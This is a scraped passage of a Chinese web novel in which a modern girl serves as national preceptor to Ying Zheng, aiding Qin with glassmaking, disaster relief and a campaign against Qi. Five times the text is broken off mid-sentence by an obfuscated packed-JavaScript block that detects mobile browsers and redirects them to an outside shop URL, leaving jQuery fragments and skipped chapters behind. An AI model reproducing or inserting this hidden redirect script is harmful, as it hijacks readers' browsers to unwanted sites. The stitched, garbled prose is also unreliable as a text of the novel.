“首先要确保粮食够吃。挖地窖,把粮食晾干后藏在地底下,比放在粮仓里更不易腐坏。其次是加固房屋门梁,确保它不会轻易被压断,砸伤人;最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571086|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后呢,让少府多造一些铁锹,雪后让官兵上路清除积雪。”
“这地窖的大小和深度回头我和蒙毅实地挖一下,比划一下告知他,不然路面上走的人多了,地窖再塌了把人埋进去就不好了。”
“还有就是,多备些柴火、干草,等雪停的时候,每隔一段路程就设置一个烧火点,人可以取暖,也可以熔雪。”
光地窖存储粮食一条就足够嬴政惊喜万分,听到后面以柴火设置节点熔雪时他一拍桌子。
怎么就忘记了这么一个朴实无华的法子呢?
这秋收刚结束,不少干草和枯树枝都扔在田埂里无人收拾呢!让蒙毅带着护卫全部去收起来,存到冬天用!
嬴政看向鹿尧,倍感欣慰:“鹿尧啊鹿尧,寡人应该怎么好好的宠爱你呢?”
【宠爱?】
【政哥这话……一定是把我当小动物式的宠爱吧!】
鹿尧不知道旁人是什么想法,她第一反应是班里那些普信男,他们表达对自己的喜欢时,都是仰头望着她,说些什么“鹿尧,你长得这么高,一定没有享受过女生应该有的待遇吧,你放心,跟我在一起后,我一定会好好的宠爱你,让你感受到爱情里的甜蜜!”诸如此类的话。
【天呐,政哥你千万不要和他们是一个模样!】
嬴政听出了嫌恶之情,眉眼一扬。
这丫头又咋了?
寡人也没说什么不对的话啊!
直到回头看了一眼赵高的表情,嬴政恍然大悟,快速解释道:“鹿尧,寡人说的宠爱,一如寡人对扶苏之宠之爱,不是别的,懂吗?”
一听这话,鹿尧大松一口气,连声道懂。
【太好了,我就说政哥不是这么下头的男人。】
嬴政点头,他真的不下头。
虽然他不知道下头是什么意思,但听着就不是什么好词汇。
“寡人去将蒙毅遣来供你支使,他这人皮糙肉厚,不用心疼他。”
嬴政快步往外走,离开鹿尧等人的视线之后,脚步缓缓停下,转身抬手,扇向赵高。
赵高根本不敢闪躲,结结实实挨了这一巴掌。
“若是以后再在国师面前露出你那猥琐、意味不明的神情,寡人就将你的面皮扒了下来。”
赵高自己抬手啪啪又扇了自己两巴掌,跪下认错:“臣知罪。”
“滚到没人的地方跪一个时辰去。”嬴政丢下这句话后便离去了,他并不担心赵高会阳奉阴违。
在洛阳城内,无人敢欺骗于他。
寒风里,赵高捂着红肿的脸颊站了起来,左思右想也没想到自己做了什么惹王上厌烦的表情。
他缩着脖子往宫墙根的僻静处走,沿途遇到几个护卫,见他这副模样都吓得低头快步走开——谁都知道赵高是王上近侍,能把他打成这样的,除了王上再无旁人。
找了个背风的墙角跪下,赵高才放下捂着脸颊的手,脑子里翻来覆去回放着王上说的那句话。
他认真回想着,把自己在国师面前的每一个表情拉出来再次表演了一遍,也没琢磨出自己哪处表情“猥琐”了。
“莫非是……王上误会我对国师有别的心思?”这个念头刚冒出来,赵高就打了个寒颤,连忙在心里呸了两声。
他什么身份,国师什么身份?
他什么实力,国师什么实力?
他什么人,国师什么人?
肖想国师?借他二十个豹子胆,他也不敢啊!
王上,你听我解释啊!
25. 第25章
“王上!王上!国师那边成了!”
赵高端着从厨房那儿取来的奶茶,刚走到大阳宫门口,就听见身后传来一阵喧哗,隐约有“成功了”“透明的”之类的呼喊声。
扭头一看,竟是蒙毅。
他张口欲问蒙毅发生了什么时,就见蒙毅捧着什么东西从身侧呼啸而过,看都未看他一眼。
嬴政正在案头琢磨着怎么赚取世家贵族的钱,就见蒙毅捧着一块透明的东西放到了他面前。
这是……
鹿尧一直提及的玻璃?
“寡人记得昨日你还嘟囔着这少府的工匠用了无数种方法都研究不出来这玻璃,怎么今日就成了?”
嬴政举起这透明的玻璃,将它放在眼前仔细端详。
一如鹿尧所说那般,视线能穿过它,直接看到它之后的景物。
这实在是太神奇了!
“是民间来的那几位打铁匠忽然开了窍,”蒙毅连忙解释,“国师先前给了方子,说关键在火候和原料配比,少府的工匠总守着旧法子不敢变。昨日那几位铁匠大胆减了硝石的量,又把火候提了三成,烧了三次就成了!国师说,只要按这个法子,往后批量烧制都不成问题!”
站在殿门口的赵高听得目瞪口呆,捧着奶茶的手都僵了。他悄悄凑上前瞥了一眼那块玻璃,阳光照在上面折射出细碎的光,晃得他眼睛都花了。
国师当真是有通天的本事啊!
嬴政摩挲着玻璃的边缘,忽然眼睛一亮。
真是瞌睡来了有人递枕头啊!
他抬头看向蒙毅,语气里满是兴奋:“寡人记得国师说这些可烧制成器皿和窗户,你吩咐下去,让少府立刻建窑,专门烧制玻璃!先做一批小巧的器皿,定价往高了定,专供那些世家贵族!他们不是总爱攀比奇珍异宝吗?这玻璃,正好让他们把钱都掏出来!”
“这下就不愁钱了!”精盐和玻璃,不把他们的家底儿掏出五成出来,也能掏个二三成,短期内足够鹿尧挥霍了。
“是!”蒙毅正要离去,赵高兀地开口喊住他。
他将碗放下,神情激奋:“王上,若是让这玻璃做成灯罩的圆弧形,岂不是能更大作用的发挥烛火的光照范围?”
“光的折射!”
“光的折射?”嬴政蹙眉,这又是什么理论,他怎么不曾听淳于越说起过?
赵高挠了挠头,有些不好意思地笑道:“臣也说不太清原理,只是前几日听国师给公子解疑时提过‘光的折射’。国师说,光碰到透明的东西会改变方向,若是把玻璃做成合适的形状,就能把散掉的光聚到一起。”
“臣想,既然能聚到一起,那就一定能散开,所以才提出了这个想法。”
嬴政点头,赞赏道:“你倒是有心,还听了国师讲课。”
赵高膝盖一疼,忙解释:“王上,臣并不是去偷听,臣是见王上喜欢这奶茶,特意去求连月姑娘教臣怎么制作了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571087|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这玉佩,赏你了!”嬴政就喜欢看旁人为他费心思。
“蒙毅,你去问问国师这个法子可行不,若是可行,第一批制作出来的玻璃先挪一部分给国师用去,寡人要让国师的名头传遍天下!”
蒙毅连忙躬身应道:“臣这就去办!”
玻璃成了,是鹿尧晚上回到自己房间准备睡觉时,连云敲门告知她的。
她一个鲤鱼打挺坐了起来,高声唤连云进来。
连云口条清楚,三两句就将王上的疑问和吩咐告知了鹿尧。
鹿尧连连点头。
【赚钱还得看政哥!】
“明日我们就要启程去齐国了,让你准备的东西你准备的怎么样了?”鹿尧询问连云。她上次随着大部队出征燕国没有出名的任务,这次出征,她可是要名扬天下的,不能不好好准备,到战场上装一个大的。
连云压低声音,眼中透着几分兴奋:“您让少府赶制的那批‘信号弹’都装在里面了,红、黄、绿三种颜色分开摆放,每个都裹了防潮的油纸;还有您说能在夜里看清敌人的‘简易手电筒’,用铜壳装着,里面的火折子都是特制的,能烧半个时辰不熄。”
“这些都按您的吩咐,做得极为隐蔽,旁人瞧着只当是普通的铜制摆件,除了您和我,无人知晓。”
鹿尧拍了拍她的肩膀,学着她的模样,压低声音道:“届时就全靠你打配合了!”
“主子放心,奴一定分秒不差!”
26. 第26章
大秦铁骑出发了。
大秦铁骑史无前例的华华丽丽的出发了。
大秦铁骑史无前例的华华丽丽、架着由嬴政牵头,少府众多工匠合力制成的青铜为主、金银为辅马车出发了。
御驾所行之处,无一人不行跪拜礼。
往日,秦人敬的铁骑,如今,拜的是挽救数千家庭的人神——大秦国师鹿尧。
“阿母,哥哥就是这位国师大人救的人?”
“正是。要不是国师相救,现在你哥哥就变成了一块田……”
“变成田能种粮食,种粮食我们就能吃饱饭了,国师为什么不让哥哥变成——”
“你!给老娘!闭!!嘴!!!”
每一个感叹号都代表那小孩儿的头被锤了一次。
那母亲手下毫不留情,力度锤的那头邦邦作响。
等御驾远去,她才揪着那小孩儿耳朵,大声吼道:“你!是不是!觉得!你!哥!没有!吃饱!重要!!!”
那小孩儿哇地一下哭了。
在他心里,不吃饱饭会死,哥哥不在,他也会死。
哥哥和饭一样重要。
“这位夫人。”身后传来一道温柔似水的声音,转身看去,是穿着一身白色缥缈衣裳的女子。
她并不认识,且这身打扮一瞧,就是她们这种底层人可以接触得到的。
“小,小姐……”噗通一声她就跪了下去,手中还不忘扯着自己孩子,强行把他也按着跪了下去。
连云眼皮子一跳,连忙闪身避开,去扶对方起来::“您快快请起,我是国师身边的婢女,今奉国师之命,送您小儿子一份礼物。”
连云像变戏法一样,手腕一翻,一只金莲乍现。
在民众好奇的目光下,连云从金莲莲心取出一张方方正正,白净细腻的纸张。
她递给那小孩儿,微微一笑,伸手在他被捶打的头轻轻抚摸了一下。
又在众人没有反应过来之前,飘飘然离去。
“阿,阿母,仙女姐姐摸我脑袋了,我脑袋一点儿也不疼了!”小孩儿是一个反应过来的,他望着仙女姐姐消失的方向,跳起来,挥舞着手,大声喊着想和她再次打个招呼。
哗啦哗啦——
仙女姐姐给的东西发出声响,小孩儿愣了一下,才反应过来这可是仙女姐姐给的好东西,赶忙收了力度,小心翼翼地打开了那张薄薄的,白色的‘锦帛’。
他认真看着上面黑色的道道看了半天,最后将‘锦帛’给了阿母:“阿母阿母,你快帮我看看这是什么!!!”
他急得抓耳挠腮:“阿母,上面写的是什么啊?!”
阿母也是小心又小心的捧着‘锦帛’,小心翼翼瞅着。
“你快说啊,这上面写的什么?”
周围的人将母子两人团团围簇起来,眼巴巴等着他们念一念上面的内容。
“这个……这个……”她脸上犯了难,“我也不识字儿啊!”
“上面这东西我见都没见过,跟我平常见的字儿长的不一样!”
“哎呦,你不识字你早说啊,村南头李老头认识字,快拿去给他看看!”
一群人哗啦啦往南头而去。
车舆内。
连月姿态端正的跪坐在国师身后,身姿端正但她眼神古灵精怪,骨碌骨碌转着。
等连云回来了,她才弱弱开口:“主子,姐姐回来了。”
鹿尧眉头一挑,问连云:“感觉怎么样?”
此时的连云不复外人面前的仙气十足的模样,满面紧张:“您看。”
她伸出两只手,手心密密麻麻全是细汗。
寒冷的清晨,竟还冒出丝丝热气。
鹿尧禁不住笑出声,示意她过来。
在连云疑惑的目光下,拿出帕子给她擦了擦:“你的心理素质不如连月高,多出去历练历练好。”
连云不敢让鹿尧动手,自己拿过了帕子擦拭手,闻言,她羞愧中坚定决心:“奴一定不会让任何人看出破绽来!”
连月好奇的问:“主子,您方才让姐姐送纸是做什么?”
“一份田契。”鹿尧跪坐累了,干脆盘腿坐下,“你们方才没听到他娘快把他脑壳敲爆了吗,哈哈哈,多吃点儿,等到他哥哥回家再挨一顿打~”
连云和连月对视一眼,这原因,怕是说出去也没人信。
不过,两人笑了笑。
大人分出去的田是王上赏的,大人想怎么用就怎么用,轮不到旁人说什么。
“主子,奴觉得这金莲口是不是太小了?奴从里面掏出纸时,差点卡住把莲花弄掉了。”
连云将袖子里藏的金莲掏出来,指着空空的莲芯儿演示方才险些失误的地方。
鹿尧拿过来瞅了瞅,把三个手指头塞进去测量了一下宽度:“其实这个还是有点大了。”她原本是想按照魔术师那样,只留一个薄薄的片口儿,但现在的技术想要做出来着实有点儿困难。
不过……
鹿尧倒腾了两下,成功让金莲莲心发出灼灼金光后,满意的点头。
“晚上当灯使,挺不错的。”
连云连月瞪大了眼睛,不可置信看着这一幕。
“差点忘记没教你们这个了,来,仔细看我怎么操作。”鹿尧招招手,示意二人靠近。
“其实这就是个香薰蜡烛,里面内壁用木棍用力摩擦,起火后点这个烛芯儿就行,熔化的蜡烛会一直在这里面存在,每次换烛芯儿就可以。”
连云连月虽然不懂原理,但胜在看一眼就学会了,成功将其他两个金莲点燃。
一股清冷幽香顺风弥漫散开,护送在御驾之侧的铁骑们神思猛然清醒,一股清凉之意直达灵台。
“你有没有感受到一股力量从国师车舆内传了出来?”一位士兵悄悄询问周边人。
“你也感觉到了?”
“我现在浑身充满力气,感觉赶个三天三夜的路都不会累!”
“我也是!”
“这就是国师的力量吗!天呐,好神奇!”
只是无意间发现薄荷,便在香料里添加了一些薄荷的鹿尧对此毫不知情。
她打开了半扇窗户,看着远处缓慢移动的山景,思绪飘回到洛阳。
这才刚出门,她就忍不住胡思乱想政哥在干什么,有没有被人哄着见方士,有没有开始吃杂七杂八的丹药。
【政哥,你一定不要乱吃!要活着等我回来啊!】
暗中送人到城门上的嬴政虎躯一震。
他眼睛微瞪,鹿尧这是何意,为何单独点出吃食一事?
是有人要给他的膳食中下毒吗!
“赵高!”
正沉浸在悲伤情绪中的赵高冷不丁被王上唤了一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601556|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,声音中隐含的怒气让他条件反射的跪了下去。
“臣在!”
赵高惶恐不安的模样落到嬴政眼中,他忍不住起了疑心。
难道赵高在这时候就对他起了不轨之心?
嬴政心中惊愕,面上的怒气却是收敛了些许,他低声道:“寡人记得国师吩咐了少府造商业街一事,你去监工吧。”
“就管……”
赵高没想到王上竟然这般重视他,竟然让他参与到国师的建设工程当中,当场以袖拭泪,哽咽不停:“王上,有臣在,商业街一事定会圆满完成!”
“就管红砖一事。”
嬴政面容紧绷,看着赵高的视线越发阴冷。
他倒是大胆,竟然以为要接管整个商业街建造。
赵高沉浸在王上对他的看中之中,即便王上补上后面没说完的话,他也是十分高兴。
早就听国师同少府的人说过了,红砖就是铺商业街地面的砖块,就像垒造城墙的一块块石头一般,是承托整个商业街的基础。
如此艰巨的任务交给他,他一定会好好办的!
“臣会监管每一块红砖的锻造过程!”
嬴政抬步而去,此时的他不愿看到赵高。明明陪同了自己这么久,他以为赵高是忠心的,没想到……
嬴政眼底微暗。
走了几步,大腿上被砸的生疼,低头一看,是鹿尧离去之前送他的荷包,说是常常佩戴,有助于头脑清醒。
沉甸甸的重量一如鹿尧对他的忠心。
嬴政心底的那些情绪瞬间如烟雾一般散去,是啊,他还有鹿尧!
虽然扶苏那小子也是个不顶用的,但在他和鹿尧的指导下,再不济也不会他一离去,就被人骗着一同下来。
嬴政拽下荷包深嗅之,凉意直通明台,前所未有的清醒让他明白,大秦的未来,只会走的更长、更远、更光明。
区区赵高,蝼蚁而已。
他还有更多的事情要忙!
嬴政昂首阔步而去,身后的奴才护卫们赶忙加快了脚步急急追去。
少府。
赵高言明自己的来意,直接让人带着他去了烧制红砖的窑子。
他满怀壮志的推开门,要大干一场时,却被门后的场景震惊了。
赵高昂头,看着面前高于自己身高三倍不止的土山,瞪大了眼睛,说话都开始结巴:“这,这是作甚?”
领他来的奴才自然是不知道的,赵高只好自己绕过山去问山后面的人。
好不容易提着裤裙,垫着脚尖,小心翼翼地贴着墙边绕到了后面,一句话还没说呢,就被人塞了一捧土到怀里。
“别愣着了,模具再后面,赶紧去拿模具压成砖坯!”
“我是……”
“我管你是谁,再哔哔等国师回来先治你一个不停管教之罪!”
说话间隙,又是一捧土迎面塞来,赵高险些没拿住。
赵高瞧瞧面前这人拿带子绑着头,埋头苦干,环顾四周,每人都忙得汗水直流,都顾不上擦,当即也不再多说,奔着那模具就去了。
哼哼,等国师回来了,他一定要好好邀功!
说不准王上看到他如此努力,还能给他的官位往上面进一进呢!
赵高撸起袖子,眼明手准,摁着土就塞进了模具。
光明的未来,高来也!
27. 第27章
红砖从烘干窑烘干取出时,秦国铁骑已踏入齐国边境。
王翦命军队原地休整,大马金刀坐在投雷架上,望着远处齐国紧闭的国门,哈哈大笑。
“瞧瞧这群怂蛋,竟然和我们一战的勇气都没有!哈哈哈,我看这齐国,不费一兵一卒就能拿下!”
“将军,您别自大。”王贲驾马伴随在侧,劝着父亲不要轻敌。
王翦不满,扭头便训斥王贲,话还没说出口,看见王贲鼻孔朝天,下巴上写着骄傲二字,嘴角抽搐:“说本将之前,先把你的表情收一收……”
怎么好意思说他的。
脸皮真厚。
“咳咳……”王贲微微低下头,收敛了一些,他悄声问,“我的表情很夸张吗?”
王翦点头,认真评价:“齐人哪怕是泥捏的,看见你这表情都会被气出三分血性来。”
“三分血性?”王贲眉飞色舞地摸了摸挂在腰间的竹筒,“便是青铜浇铸而成的铁人,有火药在,也会炸得他片甲不留!”
少年心性在此刻彰显,不见过往半点谨慎模样。
王翦训斥的话尚未说出口,就听国师清冽冽的声音从后方传来。
“赶了这么久的路,让大家放松一下吧。”
王翦回头看去,国师散发着盈盈金光而来。
王贲猝不及防被闪了眼,伸手捂了一下,等到国师走到军旗之下,才敢拿开遮住的手。
“国师,您这一身衣衫,好生华贵……”王翦微眯眼睛,没做出王贲那样丢人的举动。
鹿尧抬手,用金线绣制云纹的广袖在日光的照耀下折射出耀眼额度金光,就连她本人都被晃了一下眼睛。
鹿尧眨了眨眼,询问道:“好看吗?”
王翦策马往旁边走了走,刚张嘴就听身侧兔崽子讷讷开口:“好看,很好看。”
“……”哪儿来的傻子,能不能快点带走。
“有眼光。”鹿尧挑眉,翻手之间,一块小小的铜片出现在其中,她递给王贲,“赏你了。”
王贲翻身下马,哒哒哒跑过来接过铜片:“多谢国师大人赏赐!”
乖觉听话得像是家里养的那只小黄狗,仔细一看王贲表情,更像了。
王翦侧脸,不忍直视。
这不是他儿,他儿哪怕是接受王上赏赐时,都没有这么……这么……
王翦想了想,终于憋出一个词来——谄媚。
这表情,他只在赵高脸上见到过。
“你……哎!”
王贲丝毫没有察觉到父亲的心绪,满心想着鹿尧送他东西,便是认可他。
只不过……
“国师大人,这个东西是做什么的?”
鹿尧伸手指了指他胸膛:“放到这里,必要时候可以保你一命。”
王贲:!
见王贲似有所感地站在原地想什么事情,鹿尧便和王翦说起计划来。
“李斯已经进齐国了?”
“是。”
“要我说这事儿就不该他亲自去,万一出事儿,我没办法和政哥交代……”
王翦一边欣赏傻子,一边回鹿尧:“李斯能言善辩,即便是真的发生了什么,也能靠一张嘴保住自己的命,他去是最合适的。”
王翦心中暗自嘀咕,他还准备干一个惊天地、泣鬼神的事情——大军零人受伤归朝。
这要是干成了,史书上一定会留下浓墨重彩的一笔!
鹿尧见着父子都陷入自己的思绪,完全忽略了其他人还在和他们说话,默默回到了御驾内。
这俩人,和上次出征完全是变了一个模样。
“主子,你瞧这是不是您一直在找的蘑菇?”连月双手捧着一朵有她小臂那么长的蘑菇出现在窗棂之侧。
鹿尧打眼那么一瞧,颜色极为艳丽的菌盖看得她两眼发直:“连月,把我教你的歌再唱一遍……”
“红伞伞,白杆杆,吃完一起躺板板,躺板板,睡棺棺,然后一起埋山山,埋山山哭喊喊,亲朋都来吃饭饭,吃饭饭有伞伞,全村一起躺板板。”连月老老实实地唱了一遍,眼中带着两个疑问号,十分不解。
鹿尧为其解释:“这个红伞伞,白杆杆指的是一个泛词,凡是颜色格外鲜艳、模样看着新奇的野蘑菇,大多都带着剧毒,就像你手里这个——””
为了不打击连月的信心,她指着那朵菌盖,委婉道:“你看见这些褶皱了吗,里面藏着的毒素或许不会毒死人,但让你神志不清、腹痛如绞的难受上几天也是轻轻松。”
连月吓得一哆嗦,立刻把蘑菇扔了,拍着胸脯后怕道:“还好奴按照您的叮嘱,是拿布垫着摘的蘑菇。”
鹿尧一本正经地点头,心里却是在偷偷笑。
连月能记得拿布去摘蘑菇还是因为中过一回毒了。
不过……
鹿尧心虚,示意连月伸手,将她指尖带的些许泥土擦拭掉:“也不怪你,是我该早些告知你的。”
“况且找蘑菇这事儿也是我心血来潮,并不在你的职责范围内。”
连月连忙摇头:“您的吩咐就是奴的职责。”
她收回手,拿方巾道:“奴自己擦。”
鹿尧唤来军医,让连月在自己身侧待了半个时辰,确认她真的无碍后才放人离开。
连月消失得极快,倒让鹿尧有些纳闷,询问连云:“她跑这么快去干什么?”
连云奉上一盏茶,含笑道:“连月心思敏感,多半是为今天之事自责去了。”
鹿尧哦了一声,没作他想。
连云脸上的笑在望着连月消失的方向缓缓淡去。
旁人不知,作为亲姐姐的她还能不知道连月在想什么吗?
无非是因为她出征那日,手心出汗,让主子帮忙擦了几下,她也在手上弄了些泥土,得了同样的殊荣。
余光瞥见主子看向后面书架,她忙起身:“主子,您要看什么,奴帮您拿。”
鹿尧正准备扶着头冠起身去拿,闻言又坐了下去:“要游齐国的那本地志书。”
“哎,这头冠华贵归华贵,唯一的缺点就是太麻烦了。”
“刚拿过来时您可是连着夸了它半月呢,这才戴上半天,您就厌烦了吗?”连云笑着将书递给鹿尧,揶揄道,“倘若让王
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605529|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上知道您这般嫌弃,就不会把这收了数十年的随侯珠拿出来给您镶嵌到发冠上了。”
鹿尧摸了摸那大概一寸长的随侯珠,嘴角的笑都快咧到后耳根了。
“王上宠我!”
“是是是,王上宠您。”
鹿尧喜滋滋翻看着书,手里拿着笔记,连云见国师记得认真便悄悄退到了一旁,随时候着等待主子的吩咐。
轰——
一声巨响,惊得鹿尧一笔险些戳到自己眼睛。
【握草,怪不得老师不让我趴桌子上写字,我的世界差点就全黑了。】
连云没被外面火药炸平地的声响吓到,被鹿尧方才双目失明的举动吓到了,慌忙上前检查。
见鹿尧并未受伤,大松一口气:“主子,您自己做的炸药,怎的还会被吓到?”
不待鹿尧回答,连云便开始长篇大论,严肃地请求鹿尧以后端正坐姿,若是她伤到自己,她便十倍在自己身上伤回来。
鹿尧瞪大眼:“这,这倒也不必吧,我自己受的伤,和你没关系……”
“主子受伤,奴自当有罪。”连云神情是从未见过的认真,一时间让鹿尧不知道该说什么,只好嗯嗯点头,保证不会让自己受伤。
见着主子如此乖巧听话,连云满意点头。
等鹿尧继续看书看了半个时辰后,她猛然回头看向连云:“我武功这么高,谁能伤我?”
“你不信任我?”
连云习以为常,淡定地反问:“您方才是一直在想这件事吗?”
“当然!”鹿尧很生气,“你怎么能不信任我呢,我这么牛,你等着,等我装个大的!”
见主子整个人气鼓鼓的,连云赶忙安抚:“奴信主子,您天下第一厉害。”
“当真?”
“比金子还真。”连云满目真诚,她真的没有见过比主子还厉害的人了。
“好吧,原谅你。”
“主子大方。”
连云哄孩子一般哄好了鹿尧,见她转过身认真开始记笔记了,才无声笑了。
主子的反应她一早就反应过来了,一直等着她回头质问自己呢。
连云一边笑一边苦恼,以主子这样的性格,若是离开了王上,离开了她们,离开了大秦,怕是会被骗得团团转。
“主子,要是您是齐国人,您会帮着齐国对付大秦吗?”在好奇心作祟下,连云问了一句。
鹿尧头也没回就答:“死也不可能。我就是变成鬼了,也会缠着王上,当王上的鬼,为王上召集阴兵阴将,把地府也攻打下来给王上!”
连云大为震撼。
国师忠君爱国之心,无人匹敌!!!
御驾之外,王翦清清楚楚听到了鹿尧所言,心中所想与连云相差无几。
轰轰——
接连两声震天动地的响声,鹿尧坐在舆室内都感受到了摇晃之感,她向外看去。
“王翦将军,您一声不吭地站在这里是……?”鹿尧绝对不会承认自己被吓了一跳。
王翦伸手抹了一下眼角的水意,道:“国师如此忠勇,大秦何愁不能一统天下!”
30. 第30章
洛阳。
赵高亲自参与到了商业街铺砖之事上,他挽着袖子,在十一月的寒风中热出了满身的汗。
“铺,我铺。”赵高念叨着,手上的动作快得惊人,一块方砖被他稳稳放在砂浆上,用木槌敲得严丝合缝。
前方大婕,王上嬴政龙颜大悦,不仅赏赐了军中将士,连宫中侍从乃至宫外负责徭役的工匠都得了恩惠,就连在宫外铺砖的他都得到了一碟荤菜。
这不是王上惦念他还能是什么呢?
回味着嘴里残存的肉香,赵高心里美滋滋的,越干越来劲儿。
他负责的区域本就不大,不到一个时辰就铺完了自己的份额。环顾四周,见旁边三个工友还在慢吞吞地勾缝,赵高二话不说就抢过人家手里的瓦刀:“看你们磨磨蹭蹭的,耽误了工期王上怪罪下来,你们担待得起吗?我来帮你们!”
那几个工友对视一眼,敢怒不敢言。谁不知道赵高是王上身边的红人,虽说现在在宫外干活,可谁也说不准哪天就回宫里当差了。
有个年长些的工匠赔着笑说:“赵公公真是勤快,我们这就加快速度,不劳烦您动手了。”
“少废话!”赵高手上不停,砖铺得又快又整齐,“王上要的是洛阳城早日繁华起来,咱们多干一点,就能早一天让王上看到成果!”
赵高如此,其他工匠只得认命,放弃了每日的休息时间,同他继续干起活儿来。
扶苏将这一幕看得清清楚楚,他忍不住感慨道:“如此尽心尽力,当该为父王知晓。”
今日他请了父王来巡视商业街进度,正是好时候。
扶苏三步并两步,走到嬴政身旁,抬手指向那夕阳余晖下辛勤劳作的身影,语气带着真切地赞许道:“父王,您看那是谁。”
“他动作麻利且规整,在寒风中劳作许久,汗透衣衫也未曾停歇,这份勤勉与尽心,实属难得啊。”
嬴政顺着他指的方向看去,果然见赵高正埋头苦干,那股热火朝天的劲头与周遭略显疲惫的工匠形成了鲜明对比。
嬴政蹙眉。
难道是赵高提前知道他今日要和扶苏来巡察商业街,所以故意做出这副姿态给他看吗?
“一时之勤也未必是常勤。”嬴政面色难看,联想到赵高日后矫诏致使扶苏自尽一事,气血就往头上涌。
他扶额:“你心怀仁善,见人勤勉便直言赞许,这是你的长处,却也可能是你的软肋。”
嬴政有心教导扶苏,便细细道来:“为王之道,识人为先;为人臣者,辨人为要。莫要仅凭一时所见、片言所感,便全然信之。有些人心底藏着的算计,比这红砖下的砂浆更稠、更深。”
扶苏闻言,心中有了成算,拱手道:“儿臣明白父王教诲,日后定当审慎识人,不偏听偏信。”
嬴政见他领会,心中稍缓,却仍忍不住补了一句:“尤其是近侍之人,朝夕相伴,更需时时留心。他们见惯了宫廷冷暖,最懂如何讨喜,也最易藏起祸心。”
“是。”
“你去看看别处,寡人有事要处理。”
扶苏应声离去。
一炷香后,他收到了父王回宫的消息,便又折回到了赵高铺砖的地方。
青竹得了示意,回道:“您离开后,王上下了命令让工匠们休息,让赵高独自砌砖。”
“果然。”扶苏一改白日纯良无害的模样,眼底精光乍现。
青竹不敢过多言语,静静站在扶苏身后。
大约过了一盏茶的时间,公子抬步回宫,青竹才轻呼了一口气,快步跟上公子。
这些日子公子总是这样,在王上面前夸赞诸位大臣,得到王上回复后又私下命他去查探,以至于公子每每开口,他心中都提起一块大石头,生怕王上会发现公子试探王上对各位大臣的态度是何……
而且,他查探王上行踪一事若是让王上知道了,他不死也得脱层皮。
青竹在心里唉声叹气,琢磨着自己还能活多久,却不知咸阳宫,早有人将他的每一句问话都上报给王上了。
嬴政也是这时才反应过来,这几日扶苏问东问西,一有什么话头就扯过去夸奖这个,赞扬那个是在做什么。
他哭笑不得,询问蒙毅:“他若是直接问,寡人也是会告诉他的。”
蒙毅不敢在这事情上表态,只好笑笑道:“公子或许是怕扰了王上正事,才想着用自己的法子摸清分寸。”
嬴政欣慰无比:“扶苏总算学会说话绕弯子了,只是手段还太嫩了点,你说,寡人要不要选个会绕弯的人,去练练他?”
蒙毅心中叫苦,他嘴巴笨,远不如赵高十分之一。
王上这每一句话他都不知道该怎么回,生怕一个不小心就把全家搭进去了。
赵高到底犯了什么错,能不能快点让王上原谅他,回来继续侍奉王上?
“嗯?”
听到王上疑问声,蒙毅忙找了个由头:“哎呀,王上,您的茶凉了,臣为您添盏热茶。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611340|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啪——
蒙毅越是着急离开,越是容易出差错,这端茶盏的手好似发了癫,竟把茶盏打碎了。
蒙毅扑通一下就跪下去了:“王上恕罪。”
